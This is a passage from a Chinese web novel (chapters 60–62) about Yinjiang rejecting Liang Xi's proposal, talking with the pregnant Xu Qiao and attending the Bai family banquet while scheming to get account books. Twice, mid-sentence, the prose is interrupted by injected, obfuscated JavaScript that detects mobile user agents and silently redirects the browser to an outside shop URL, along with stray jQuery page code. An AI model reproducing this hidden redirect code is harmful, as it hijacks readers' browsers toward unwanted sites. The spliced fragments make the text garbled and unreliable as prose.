我也不想一辈子在你面前低一头,更不想从此以后,只去适应你的生活,为了你去学习那些我不曾接触的东西,我不想自己变得面目全非,我也不想你我今后,因着这巨大差异,互相怨憎。 或许你我之间的喜欢来自于新奇,可我不想因这差异引起的新奇,葬送我的未来。虽然我不想承认,女子与男子有多不同,但是,这个世界对男子和女子却是确确实实不同的。 新奇感过去,爱情褪去颜色,你可以挥挥衣袖离去,可是我再也回不去了,我见过你的生活,体味过富贵的日子,你要我如何做回那个混迹山间的土匪?” 60. 世间因果,不得万全 “或许你以为,我应该对你的决定感激涕零,毕竟,你终究是上位者,高我许多,你的喜欢,在旁人眼里或许都可以算做是一时意乱情迷, 对于来自高位者的爱,在世人眼中,处于低位的那个人,是应该对此诚惶诚恐的。 在无数的话本里面,都是身份、地位处于上位的那个人的家族来棒打鸳鸯,是话本里、戏台上,演绎了无数次的老套戏码,说实话,我从未想过,有朝一日,我竟也能成为这戏中人。 可是为什么,我要对你们的接纳感激涕零,为什么,我要表现得诚惶诚恐? 是呀,你竟然喜欢我,多么不可思议,我只是如此平凡的一个人,竟然被你喜欢,我若是表现得不识抬举,世人的口水都会将我淹没。 呵,可就如我刚才所说,其实牺牲最大的那个人不是你,是我,是我要彻底融入你们的世界,是我要抛却过去的我,是我,不容于你们。 而最重要的是,你可以反悔啊,你反悔对你并不会有什么损失,对我却实在恼火至极。你看,我是个多么自私的女人,我所想,都是我的后路。 其实,你之前与我讲你父母的故事,我便在想,你母亲是公主,她有她与生俱来的职责和使命,远嫁他国未必是她之所想,但是她不能违背,那是她自出生起便被塑造的信仰。 或许她也庆幸,她远嫁后能嫁给一个爱她的男子,但是,其实易地而处,她也是没有选择的,她想嫁谁,并不取决于她,只是恰好你父亲爱她,便奋力求娶到了她。 她也曾有退路,但是她的退路也失却了,她能靠的只有你父亲,可是你父亲,也没有靠住。我不是闺阁中长大的女子,却也知道许多闺阁女子的难处。 在家从父,出嫁从夫,那一方小院,已然是归宿。虽然大梁风气开放许多,使得女子多了很多自由,可是也仍有许多女子是不自由的。 你说嫁娶,我想到的便是我被剥夺了什么,我没法想象快乐幸福的日子,对于我来说,若只是那一方小院,了此余生,那我不如终生不嫁。 梁玺,你说喜欢我,也说可以娶我,你想到了你情感上的诉求,也考虑了你政治上的需要,你觉得这二者皆可得之,既有美人,也有事业,所以虽有冲突,却都可以调和。 所以你大胆示爱,还求娶我。我承认,我很欢喜,因为我很喜欢你,真的很喜欢你,君子如玉,倜傥儿郎,我喜欢你也无可厚非,可是你要我抉择,我却不会选你。 因为一旦情消爱散,粉身碎骨的那个人,一定是我。” 胤姜剖析着自己的心,她感觉到心脏阵痛之感,她说的每个字,每句话,不仅是在告诉梁玺,还是在提醒她自己,千万千万不要答应他。 她知道那是很美好的未来,或许并非不能修成善果,但是她不能选他,她无法背弃曾经的自己,她和他要承受的代价是不一样的,她若嫁给他,便要将曾经的自己消磨掉,去适应他的世界。 胤姜不曾做过达官显贵,却也明白,世家大族的规矩森严,容不得一点挑战,不,不单是这样,她甚至都不是寻常百姓家长大的女儿,连寻常百姓的要求都达不到。 她任自己于山野间生存,于流民、乱民中生活,她的成长之路并不符合世俗,他们是一群被排斥在世俗生活外的人,是世人眼中的三教九流,也是梁玺口中的不务正业。 可那也是她曾经生活过的模样,在这些一点也不循规蹈矩的生活里,每一分每一秒都曾雕刻过她的灵魂,都铸造了她现在的性情,她不能也无法彻底抹杀过去的自己,哪怕她也知道,过去并非很好,她也想过要逃离那一切。 梁玺久久地沉默,他不发一言,却直直望着胤姜,那眼神令人心碎,可是映在梁玺漆黑眼瞳中的胤姜,也好不到哪里去,她面色苍白,眉头紧蹙,神色略有哀伤。 梁玺终是说道,“不,你我之间的问题,是你不信我,不信我会护你周全,更不信你我之间会圆满。 不过确实如你所言,娶你这件事,在我这边,虽有波折却能调和,是我,没考虑到你,是我想当然的以为,我们之间的障碍只存在于我和我的家世。 你没说之前,我从来不曾思考过,你,和你的身世想法,你说得对,是我傲慢了。” 梁玺哑着嗓子,阖然闭眼,一滴泪从紧闭着的眼角滑落,再一睁眼,他已神色清明,他后退至胤姜三尺之外,对着胤姜一拱手,“是我冒犯了,祝胤姑娘得偿所愿,幸福安康。” 胤姜坐在床榻之上,眼睁睁看着梁玺离开的背影越来越小,她终是颓然倒在床上,任凭泪水模糊视线,打湿枕头。 月光温柔,依然普照大地,温暖每个望月的孤人。 胤姜起个大早,她回到了涂苍住的地方,找涂苍商量归家之事。 “我要怎么把你放回去啊?你自己回去啊。我只能拿你当肉盾,威胁一下贺含章,但是他要是真如你所说不救你,我还能真把你杀了,以咱们现在的关系?” 涂苍反问,又说道,“你就干脆当做自己跑出去了吧,然后我们赶紧撤退,我们前脚走,你后脚跑,更可信一些,你觉着呢?” 胤姜约定和涂苍演了一出戏,涂苍知道贺含章戒严全城,便找梁玺帮忙找了另一住处,胤姜趁着这空档“逃”回了贺府,对着贺含章好一顿哭诉,当然,贺含章派去找涂苍的府兵只能无功而返。 贺含章以保护为由,令胤姜再次住回了贺府,胤姜白日时与徐乔作伴,问道贺礼是否是被她引出去的,徐乔并没否认,淡淡一笑, “阿姊,我从前是很信报应的人,总相信天理昭彰,可是经历了这么多,我才明白,原来这世界是没有报应的,既然如此,那我就来做那个施刑人。” 胤姜默然,她没法反驳徐乔,甚至,她还得感谢徐乔,因为贺礼之死,彻底把涂苍和贺含章的关系斩断了,才让她有机会知道贺含章的许多私事。 胤姜还没说什么,徐乔忽然双手捂住嘴巴,侧身到一边,似有呕吐之状。 胤姜心生犹疑,“阿乔,你,” 徐乔惨然一笑,“阿姊,我怀孕了,是贺家的血脉。” 胤姜一颗心掉到底,她知道,徐乔和贺颂之间,未必没有真情,但却又有许多大大小小的疤痕横亘在二人中间,这个孩子的到来,到底是幸,还是不幸? “阿颂,他知道吗?”胤姜问道。 徐乔呕吐完,摇摇头,又点点头,“贺家上下都知道了,他应该也知道了。 贺含章还特意嘱咐我照顾身体,贺礼的死对他们这些人的打击都挺大的,这个新生命,是被他们都期待着的。” 只是他们期待吗?胤姜担忧的看着徐乔。 徐乔喝了口水,“阿姊,放心吧,我知道自己在做什么,倒是你,之前被掳,没有受伤吧,他可真是养虎为患,最后不止害了贺礼,还差点害了你。” 胤姜知道她是在挖苦贺含章和涂苍之事,胤姜不打算再为徐乔多解释什么,她现在的精神状态,实在让胤姜有些担心,本来怀孕之人就多思多虑,容易伤心伤身, 贺颂又不在身边,徐乔一人,担负那许多,又轻易不能与旁人诉苦,久而久之就容易忧思成疾。 胤姜拉住徐乔的手,“阿乔,我如今住回府中,你若有事,便来找我商量,万万不要一人憋闷着,对身体不好,就算不为了孩子,也得为了自己的身体想啊, 你之前对我说,要代替村人好好活下去,你可千万要记得这句话啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008220|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐乔反手复上,“阿姊,我好得很,每天吃得多,睡得饱,一点没伤心,我可是要好好活着,看他们的下场的。” 胤姜不再多言,徐乔主意已定,又没亏待她自己,她又还能劝些什么呢。 徐乔叫下人搀扶着继续逛园子,一个门口伺候的小厮进来禀告胤姜,说是她的仆从李复来寻她。 胤姜扬眉,叫李复进来,问道,“何事?” 李复见四周无人,才放心说道,“收到消息,军中有异动,似他们准备动手了,大人想问,姑娘已在贺府,能否找到被拿走的账本?” 胤姜知道梁玺想要的账本,就是江依被白朦水骗走的账本,如果此次在现场人赃并获,又有多年前的账本,那贺含章定然是再无翻身之机了,只是,账本在哪,若在书房,贺含章的书房把守严密,着实需要时机啊。 胤姜又想,梁玺真是算得不错,她如今又住进贺府,的确是最好下手的人选了,“好,只是这个时机,他得配合我才是,没有点异动,我是不好下手啊。” “姑娘放心,他会配合好的,还有一事,大人探寻到白家情况异常,想要姑娘再次接近白朦水,一探究竟,皆因前日,白朦水与刘玄之女,白窈珈回来了。” 胤姜神色微动,白窈珈?那个被白家送去尼姑庵的小姑娘,在这当口,白朦水为什么要她回来呢?白朦水,你究竟在打什么算盘? 胤姜想起之前徐乔对她提过,想要策反白朦水一事,也不知道她到底有进展没有,不管如何,她都得再次试探那个女人,虽然胤姜和白朦水只见过不过寥寥几面,话也没说几句,却实在是神交已久,那个女人,呵,是个有意思的女人呢。 “我明白了,今早贺府还接到过白家的邀请,我还想躲懒不去呢,看来这一遭,是非走不可了。”胤姜淡笑。 李复带完话,却有些迟疑,踌躇一会儿说道,“雪娘子在贺府万事小心,我并非刻意背叛,实是我不能,当时他找人试探我的功夫,看出我是黎家军的把式, 我的身份也遮不住了,他自言他和我家少将军乃是自幼长大的伙伴,还对将军的一些生活习性十分了解。 我受黎家大恩,被编入军中,侥幸被安置在少将军身边,对他有些了解,却不及那人多,他向我表明身份说明来意,问及当日发生之事,最后才问及你,我并未透露你的身份,他也没追问。 直到那夜,他拆穿你的身份,我才知道,他也没有全信我的话。 他心思深,并不像少将军,少将军要坦率许多,可惜,少将军死了,他不是死在战场上,也不能马革裹尸,他死在阴谋算计之下,死在荒僻无人的郊外,还陪葬了一千多名官兵。 雪娘子,那夜的血,我不曾忘,那夜我找到少将军的尸首,他就像个血人,浑身上下没一处好的。” 李复眼前又似有血雾在蔓延,他甩甩脑袋,眼前复清明起来,“我解释这些,不为别的,只是多谢当时雪娘子相救之恩,我李复小人物,但是谁对我好,我心里清楚。” 胤姜摇头,“我没有怪你的意思,我明白你的难处,他若想调查谁,自然会调查个清楚明白才罢休,多方印证,到底是我们没做好万全准备,也不能怪谁。 你回去吧,你今日所说,我会见机行事的,让他放心。” 李复退下后,胤姜望着池塘发呆,明明是大白天,她怎么有种置身于万里冰原的感觉,看来是她的心太冷了,她的确不是怪李复,她是想起梁玺,想起那些死去的人,想起十五年前死去的人,想起她的过去,想起再见的故人,想起这些新遇见的人。 他们聚首于此,为着各自的前因,来寻一个后果。 可是,胤姜啊,你真的,只想结一个果吗? 61. 她们 风平浪静,晴空万里,碧蓝如洗的天空让人望而宽慰,那可爱的白云如糖人般变幻各种形状,若是稍加咀嚼,不知能否品尝出那甜中的苦涩。 今日为庆贺白窈珈回家,白家大办宴席,淮安城内有头有脸的人物都被邀请了个遍,看样子不仅是在迎接白窈珈归家,还像是在为白窈珈铺路。 胤姜坐在马车中,身侧坐的是徐乔,今日贺府女眷只来了三人,张氏备受打击,是以派了贺丹姝出面送礼,徐乔与胤姜谈起她所知的八卦,似乎近来刘玄闹了不少笑话。 原来那夜刘玄的确去了缥缈阁找花娘,并且还为一个尚未梳笼的花娘赎了身,笑话就出在这花娘身上,原来那花娘在缥缈阁中早有相好,正是护院之一,花娘哄得刘玄为其赎身后,便裹了刘府的一些银子和她的情郎跑了。 本来出了这种事,应该是越低调越好,哪里想到刘玄手下办事的人蠢相尽出,搜查逃跑的花娘和情郎反而搜查到了不该惹的人物头上。 那人物好巧就是本州驻军将领周思捷,原来周思捷在外金屋藏娇,将人安置在梧桐巷中,却因为行踪诡异,不知怎么阴差阳错的被刘玄手下注意到了,就差上演一出捉女干的戏码,然而他们竟然比那还要嚣张且愚蠢,他们直接将人给套走了。 “啼笑皆非,没想到那周思捷养的外室竟还真与逃跑的花娘有几分相似,”徐乔笑道,“阿姊,你说好笑不好笑?” 胤姜也笑问,“后来如何了?想来那花娘早已经跑不见踪影了,至于周将军的外室,莫名被大白于天下,怕是要进周家啊,也不知道周家夫人依不依?” “阿姊,后面才是最神奇的呢,那外室,好似是个傻子,虽然长得不错,也锦衣玉食的供着,但是被带走的时候不吵也不闹, 后来被发现闹乌龙的时候,那外室也痴痴呆呆的,一句话都没说,心智行为像几岁的小孩子,你说,这周将军的癖好,还挺奇怪啊。 我还打听到,那外室约莫三十余岁,也并不是什么绝代佳人,更谈不上青春年华,何况状若痴傻,整件事啊,都奇怪得很。” 徐乔念念有词,在养胎这段时间,她可没闲着,事关白朦水的一切,她都尽力打听,只求能摸清楚她的脾性,看是否能为她们所用。 胤姜听着,心中也生出疑惑,还没思索出个结果,他们一行人已经到了白府。 是白府,白家也不会把迎白窈珈归来的事情放在刘府,所以胤姜下马车的时候,也刚好看见了对面驶来的刘玄的马车,想起方才徐乔所说,胤姜对刘玄的观感更差一分。 胤姜却仍笑着对刘玄打招呼,从刘玄身后的马车中下来一个头戴帷幕的女子,衣着华贵,应该是白朦水,真是奇怪,在女儿回家的宴席,他们夫妻竟然如客人一般才来? 难道白朦水是真的不重视这个被自己放在寺院多年的女儿吗? 贺府一行人被白家下人安置好位置,就在主桌旁边,贺丹姝精神不太好,虽用脂膏装点颜色,却仍然可见羸弱,胤姜适当关心一下贺丹姝,贺丹姝红唇微抿,却不是很想说话。 但是胤姜只是嘴上寒暄而已,对贺丹姝的冷淡并不在意,反倒是徐乔气色着实不错,让胤姜觉得自己实在是担心错她了。 白朦水在胤姜左身侧落座,一股淡淡的幽香自白朦水身上传来,胤姜笑着说道,“夫人可是用的近日新出的香露?果真味道不错,可还是倾颜阁的?看来夫人是念旧之人。” 胤姜和白朦水的初遇,就在倾颜阁,她得梁玺金银去接近白朦水,没想到,今日竟也是受命于梁玺,却不再是求金银。 隔着一层帷幕,白朦水说道,“不过一瓶香露,用得习惯而已。”她声线清冷,话语中不带情绪,却平白听出几分冷漠意味。 “对了,我还未见过白小姐,不知道白小姐与夫人生得像不像,我曾听闻夫人容貌惊艳绝伦,却始终没有机会一见,之前在贺宅,夫人也是帷幕遮面, 其实在我眼中,夫人并非在意世人眼光之人,纵然容颜有损,夫人又如何不能堂堂正正的出现在人前?坦坦荡荡,旁人倒还不敢轻视,躲躲藏藏,世人总会揣测。” 胤姜说着替白朦水倒了一杯茶,没想到白朦水身后的婆子将茶盏挪开,还对胤姜告歉,“田夫人,我家夫人身子不好,不能饮茶,白水即可。” 胤姜眼微眯,想去瞧白朦水,然那重重帷幕遮掩下,却并不真切,只听得白朦水说道,“那是贺小姐高看我了,我不过一介女流,世人的冷眼冷语,非我能一力承担。” 胤姜还想说什么,主桌的人也接完客人准备开席,如今白家的当家人是白朦水的亲兄长白汛,白道成就是白汛的嫡幺子,白汛体态发福,但是观其五官,年轻时应该是长得不错的,只是多年酒色沉浸,眼眶下的乌青使得整个人看起来都像身体被掏空一样。 白汛身边站着一位相貌清秀、年约四十、气质温婉的女子,看衣着打扮应该是白汛的妻子,林氏。 林氏身边站着一位明媚如春的少女,十三四岁的年纪,眉眼灵动如莺,神色雀跃,丝毫不怯场,大大方方的站在林氏身边,任由旁人的眼光打量。 胤姜想,那应该是白窈珈了吧,少女有一双美丽的凤眼,眼眸亮若星辰,瞧着谁都是带笑的,传言说她身体虚弱才需要静养,可是如今这副模样,是大好了吗? 少女身上带着难得的生机,是胤姜许久不曾见过的希望的模样,倒令她一阵恍惚,那样生机盎然的年纪,她也曾有过啊。 胤姜不自觉想起田叶,二人年纪相仿,田叶虽仍保留一份天真,但是世间的凄惨她也经历不少了,田叶的年岁,并不会像白窈珈一样的无忧无虑。 白窈珈,就像是被精心教养长大的闺秀,有着未经世事的天真和镇得住场面的成熟。 胤姜深深看了身侧的白朦水一眼,说道,“夫人,肯定很辛苦吧,但是也很欣慰吧。” 辛苦的是要背着所有人,悄悄地去教育那个被扔在寺院的孩子,欣慰的是,那么多年的辛苦没有白费,她的孩子被教养得很好,就像一块浑然天成的璞玉,不染一丝杂质。 白朦水没说话,但是胤姜想得出来,她此时的眼神应该是骄傲且宽慰的。 可是胤姜却越发惴惴不安,白朦水为什么在此时把白窈珈推到世人面前?她应该清楚,目前淮安的形势一触即发,她莫非是想借此锻炼白窈珈?可这试错的代价,她们承受得住吗? 开宴,戏台上戏子呀呀唱着欢乐的颂曲,台下白窈珈和一桌白氏女人共聚一桌,谈笑晏晏,那桌人应该都是白家男丁的妻子女儿们。 胤姜心中疑惑更甚,白朦水夫妇并没有被安排在主桌,白窈珈却在那里,到底怎么回事? 白朦水此时起身,端着酒杯朝主桌走去,白窈珈远远看见她,对她露出一个灿烂的微笑,主动迎了上来,“母亲,我很喜欢这里,婶婶姐姐妹妹们都对我很好。” 白朦水似乎点了一下头,挨着敬酒,到林氏跟前时,林氏却难得显得冷淡,只回敬一杯便坐下了。 胤姜注意到此事,问徐乔可知二人有何恩怨? 徐乔看胤姜一眼,自徐乔对胤姜说起要策反白朦水,便下足了功夫,只是此话却不太好说,但是徐乔到底还是讲了,“姑嫂之间不合,实在是太正常不过。” 胤姜眉微蹙,她倒不相信这句话,姑嫂之间能有多少龃龉,又不是日日生活在一起,除非是有利益纠葛,否则实在是很难扯起头花来。 而姑嫂失和,其实最主要责任不就是所谓的哥哥和丈夫失责吗?按照道理这本该是井水不犯河水的,除非性情特别难忍受,也不至于在这样的场合都不给对方面子。 胤姜和徐乔耳语道,“按照道理来说,白道成是白朦水的堂侄,却又认了刘玄做义父,关系真是乱得可以,而且刘玄膝下还不止一个白家义子,你觉得他们打的什么算盘? 他们定然想,刘玄无子,白朦水挣下的这笔家业定然最终还是得回到白家人手头,世人皆说嫁出去的姑娘泼出去的水,白朦水在白家人眼中已经不是白家人,而嫁进来的外姓人反而成了白家人,这也是为什么白朦水都坐不得白家主桌的缘故。” 胤姜说着,口舌忽生干燥之意,她是真讨厌这样的观念,怎么女儿就嫁个人,做父母的,养在你跟前十几年的女儿,说不认就不认了呢?说是别家的,死活也不管了呢? 可笑,胤姜心中骂道,又继续说道,“这是笔怎么算都不会亏的买卖,按照道理来说林氏应该更与白朦水打好交道才是,毕竟如果最后刘家产业全部都交给白道成了呢? 可是林氏没有,这就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025162|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是奇怪之处,她不怕连带着白道成也被白朦水讨厌吗?还是她觉得白朦水是个宽宏大量之人,容得下她讨厌的侄子继承她打下的家业? 而且,明明白家靠的也是白朦水,和刘玄没什么区别,却偏生都没人在乎白朦水一样,竟然都没把她安排在主桌,这是白家实际当家人应该有的地位吗?” 这是最令胤姜想不通的,白家人做事,怎么全都反着来? 徐乔轻轻抚着肚子,她感觉得到一个小生命正在踢她,她安抚着躁动的小生命,对胤姜的疑问给出了她自己的解释, “有时候,人习惯了高高在上,便会傲慢,以至于忘了,谁才是赋予他高高在上权力的那个人,更甚者,还想要全盘抹杀掉那个人的功绩,人心不足而已。” 胤姜皱着眉头,这种事她不曾遇过,她在庆安寨历事的时候,也没有人敢抢她的功劳。 胤姜蓦然一楞,却原来,这也并非是因为自己厉害,而是因为她身后有人护着。 那白朦水身后呢,她的父母亲人呢?白家老太爷已死,她只有一个哥哥,就是现在白家名义上的当家人,不也正是那个费尽心思想要抢走白朦水功绩的人吗? 原来,她也只是更幸运一点,胤姜呆呆地想。 “那一切都好解释了,林氏和白朦水不合,乃是因为白汛和白朦水势同水火,偌大的白家,谁都想要,偏生,只能有一个主子。”胤姜下断词。 白朦水回到这一桌,主动与胤姜搭话,“贺小姐曾经租下折翠居,在折翠居这个名字之前,那里叫江氏酒楼,房东是个性情古怪的女人,不知道贺小姐当时是如何说服她的,竟能让她把酒楼租给你。” 胤姜蓦然听白朦水提到江依,面上不变颜色,心却提了一稍,“房东虽然古怪些,心地却是好极,那时我无依无靠,求到她面前,她便帮了我,所以我瞧她那古怪的性情,也没那么古怪了,反倒是可爱。” 胤姜当然不觉得江依的性情可爱,但是万一白朦水觉得呢?她想知道,在白朦水心中,是如何想江依的?是喜欢,还是厌恶?是有愧疚,还是只有利用、毫不手软? 白朦水主动提起江依,又是想试探些什么呢? 胤姜吃着菜,无论心中打什么算盘,嘴巴是不曾停歇,她可没有因为情绪就不吃饭这种习惯,要真是生气、伤心,她就不动筷了,那她早饿死了。 白朦水幽幽地喟叹一声,“可爱,她确实可爱得很啊,我此次邀请她,她却没有来,我想你和她有打交道,或许日后能一起约着出来逛逛,反正闲着也是闲着。” 胤姜不会觉得白朦水是真想和她逛街,她们之间可不熟,但是既然她提出这个事情,她也没有拒绝的必要,万一,是白朦水想要对她说些什么呢,过了明路的见面,谁也不会怀疑。 “那真是好极,我和阿乔正愁不知道去哪里玩呢,人少了玩着总是不尽兴,人多了热闹,不若就后日吧,我听说那净慈庵灵得很,正好阿乔去拜拜,为我的小侄儿祈福。” 戏已经唱到这个地步,白朦水还需再说什么吗?她点头便是了。 酒宴将散,胤姜才注意到主桌上坐着一个熟悉的人,正是贺凝珠,在胤姜进山又出山这段时间,贺凝珠已经嫁给了白道成,虽说时间仓促了些,却不免是有些冲喜的意味 ——贺礼无缘无故傻了,贺家想沾沾喜气,虽然阴阳颠倒过来,却也不能不说嫁人能冲喜。只是啊,这冲着冲着,贺礼居然还死了,贺家前脚办完喜事,后脚就办殇事,着实不太吉利啊。 贺凝珠在一桌谈笑有无的白家女眷中,显得十分沉默,她只静静吃着菜,其实筷子也没怎么动,她安静得很,几乎让人遗忘这里还有个人。 贺丹姝本来心情郁郁,见胤姜在瞧贺凝珠,也不免朝她看去,看着看着便站起身朝贺凝珠走去,也不知道说了什么,贺丹姝还哭了,贺凝珠仍是一副沉默的样子,不闻不问,心不动,则不痛。 徐乔呼出一口冷冷的气,她的模样都变得有些缥缈,“阿姊,换成是你,你恨吗?这三姐姐,可怜得很,她冲喜一番,反倒贺礼死了,贺家还容得下她吗?白家就更容不下了。 呵呵,猫哭耗子假慈悲,她跑哪里去哭什么?”徐乔的声色有些冷。 胤姜知道徐乔说的后一个她,是贺丹姝。 62. 圈套 胤姜却道,“她非是兔死狐悲,亦可能是物伤其类。” 徐乔有许多不知,但是胤姜却知,她作为贺含章的长女贺怀雪之时,便被贺含章叫去勾引梁玺,而贺凝珠又被送去冲喜,同样身为贺家的女儿,贺丹姝会怎么想? 贺丹姝当然知道,她的父亲是怎么样一个人?但是她又能做什么呢?脱离了知府嫡女这个名头,谁还会高看她一眼? 世人多是狗眼看人低,一切皆以身份地位论。 或许在贺丹姝眼中,她唯一能做的便是,向贺含章证明,她有足够的利用价值,不能被轻易贱卖掉。 胤姜垂下眼睫,也不再去看那姐妹二人在闲话些什么。 宴席散,各回各家,胤姜坐在马车上,却与梁玺不期而遇,他也在这场席上,此时专门停在此处等胤姜,胤姜安抚徐乔后,便独自下车,目送马车越走越远,转身躲进了梁玺的马车中。 自前夜二人挥泪斩情丝,再次见面,却有些尴尬之感。 “公子找我何事?可是有什么需要我配合?”胤姜问道。 梁玺直言,“有一事,那斐笙花是否与你相熟?” 胤姜挑眉,斐笙花?“公子问她,是她牵扯进什么不该牵扯的事情了吗?” 梁玺摇头,“非也,只是我想,如今有些事,需要她帮忙,但是我去与她说,她未必愿意搭理我,我之前了解到,你们二人很熟悉。” 胤姜没说话,只静静看着梁玺,她可不曾对梁玺说过这些话,这家伙,又是从何处得知?她如今才真有些郁闷和压迫之感,彷佛他什么都知道,而她全无隐私,无处可逃。 梁玺继而解释,“你还记得我们在贺宅相遇那夜吗? 我打听过,当日斐笙花来过折翠居,然后你就消失不见,李复也告诉我,你消失了,而斐笙花是贺含章的人,你被她带走,定是贺含章授意。 后来你与我提及贺含章下药之事,”梁玺说道这里,顿了一下, “但是无论是我观察到的,还是后面李复见到的,你的身体都并无什么异常,你甚至都不曾找贺含章服过解药,或者再去过贺宅。 我便想,或许你被带走是真,下药也可能是真,但是最终应该都只是你哄骗我的。”梁玺说着无奈地笑了一下。 “你并非轻信之人,斐笙花就算药晕了你,你也会挣扎,就算你想以待时机,也不会束手就擒,就算你与贺含章虚与委蛇,答应他要勾搭我,但是这中间也有足够的余地。 可是,你还是被带走了,而最大的问题就是斐笙花为什么能成功弄走你? 我还记得,你我初到淮安,你到缥缈阁去挑战那几位掌柜,成功拿到了和我合作的机会,那夜,你出言相助,看斐笙花的眼光,似在怀念。 或许你不曾意识到你在怀念,也或许你太过动情忘记伪饰,更或者你以为没人注意,总之,那夜我瞧得分明,你与她有故。 你对素不相识的我尚且都如此设防,何况斐笙花?除非她本身就是你的故人,趁你不注意之际,欺骗你,贺含章或许没想过此节, 他不了解你,他不会认为斐笙花把你弄去贺宅是件困难的事情,他只会觉得你果真是寻常闺阁女子,被带走得如此轻易, 而他应该也没对你使过什么手段,对一个弱质女流使手段反而适得其反,不若以利诱之,这大概就是你曾对我提及的,他许诺你一门好亲事。 对于寻常女儿家来说,这无疑是一个极其诱人的条件,一个前途无量、英俊无双的夫君。” 梁玺想,那时他信以为真,既心疼她,又怨恨她,心疼她被亲生父亲如此对待,要被摆布来招待一个素不相识的男子,又怨恨她对找一门好亲事志在必得。 他心疼她的无辜,怨恨她的贪得。 后来他私下去探查,才惊觉他们之间,有诸多谎言,可是他曾经的情绪都是真的,只是后来又多了许多被骗的愤怒和哀愁,都不待他一一去找她清算, 他们之间又阔别,他发现,他也不想再去在乎那些欺骗了,他只想拥着她,每分每秒,他想和她厮守。 而这样的感情还没来得及变得更浓烈、更厚重,她又拒绝了他的求娶。 他没想过,他居然被拒绝了,所有的情绪搅和在一起,有时是生气,有时是哀伤,有时候怀念起相处的日子又很开心,只是一想到已经再无可能又只余失望。 梁玺恍然惊觉,从认识她以来,她竟然牵动了他那么多情绪,真真是做到了令他茶饭不思, 不过,梁玺回望胤姜,却见她嘴唇紧抿,神情警惕的看着他,梁玺眼中逝过一分神伤,他知道,她是不想再听到他的这些思念之语的,她只想与他了断清楚。 胤姜不说话,心中已经翻涌起震惊,她不曾想,梁玺仅凭当初她和斐笙花重逢的一个眼神,便推知许多,更直接戳破了她曾经对他说过的许多谎言,胤姜不自觉咽了下口水,他如今该是如何看她? 呵,怕不是已经恼怒了她。 真是可怕的敌人,胤姜心中摹地闪出这个念头,那些曾经亲密的人,曾经对彼此了如指掌的人,若有朝一日,拔刀相向,该是多可怕。 最可怕的敌人,就是曾经的亲人、爱人,果然,至高至明日月,至亲至疏夫妻,古人诚不欺我也。 胤姜虽不曾嫁给梁玺,但是彼此两情相悦,此刻也不禁生出些许害怕,男女感情之事,自古以来便没什么道理,这是发自两个人内心的一种感情,应该是让人开心的,让人悲伤的,却也有可能是让人想逃避的。 夫妻本该是最赤诚无间的存在,却还得容纳下两个人之间的喘息之地,在诸事上太过聪慧,容不得一点瑕疵,容不下一点欺骗,什么都看透、什么都说明白,那也无意义了。 难怪,苏灼想要挣扎出她的掌控,难怪,他总说,阿月,你不需要太聪明,有些事情,是需要适当糊涂些的,把什么都说清楚了,讲明白了,反而不好。 胤姜转念又想,人是很奇怪的动物,虽然在春风得意时会觉得什么人都不重要,会觉得于情爱一事上玩弄人心也无不可, 但是等到潮水褪去、繁花落尽,又希望有人能始终陪伴在侧,携手看遍花开花落,有时候盼着那样一个人,有时候又觉得有没有都无所谓。 胤姜忽生茫然之感,她也搞不清楚,爱到底是什么,是见到对方的欢欣鼓舞吗?是怜他恋他念他吗? 可若只是这些,又好似太肤浅了,可是爱也不应该深刻,深刻是很痛的,而爱应该是暖的。 胤姜长长吁出一口气,“你猜得很对,我与她自幼相识,她并不会害我,你说她为贺含章做事,她知我身份异常,却并没有告诉贺含章,她是我信任之人。” 听到胤姜说斐笙花可信,梁玺眨眨眼,好似放心般,他如今也不想再多去揣测什么,他放心把事情交给她,她总会给他个结果, “有两件事,一,周滔和她有情,需要她向周滔打听周思捷之事,二,近来刘玄家逃了一个花娘,听闻在缥缈阁时斐笙花对她有诸多照顾,她是否知道那花娘有可能藏在哪里。” 胤姜凝神听,怎么事事都关周思捷? 之前梁玺说过贺含章的乱出自军中,难不成竟还是周思捷出事了吗?确实奇怪,她到现在,都还没见过周思捷。 按照道理,周思捷也该有酒宴活动啊,但是偏生,这么久都没在哪个酒席上见过,周思捷到底是有多久没在众人面前出现了? 梁玺知道以胤姜的聪慧定然知道问题都在周思捷身上,但是他害怕她到时候为求真相而冒进,于是他又多叮嘱了几句, “此事不可操之过急,若打草惊蛇,则功亏一篑。你问斐笙花两个问题,周思捷可好?花娘可好?” 胤姜点头,“若不好,当如何?” 梁玺神色一肃,“唯以兵谋之。” 胤姜蹙起眉头,竟要打仗?竟已经到了这个地步了? 之后一路无话,气氛似凝滞了一般,所幸没多久便到了贺府,胤姜从马车下来,径直回了贺府。 胤姜醒得早,天才蒙蒙亮,她便在院中到处转悠,顺便观察一下贺府的环境。 贺含章的书房处在内宅最深处,在东北角,一旁是他和张氏的居所,而她住的地方则是贺家几位小姐的住处,在西北角,可谓一东一西,远得很。 反倒是贺颂,贺府公子的住处位于正北,刚好隔在她和贺含章中间,可是如今贺颂不在,就算贺颂在,他未必会偷账本。 贺礼死了不会影响他的地位,可是贺府倒了,他可是会沦为罪臣的,但是,贺颂明知她居心不良,竟还放任她和徐乔一直呆在贺府,也真是搞不懂他在想什么。 此处乃是贺府最为开阔的花园,在正前方便是前厅,是贺家人平日待客的地方,雕梁画栋,好不壮阔,春的末梢,春花开遍,一片好风光。 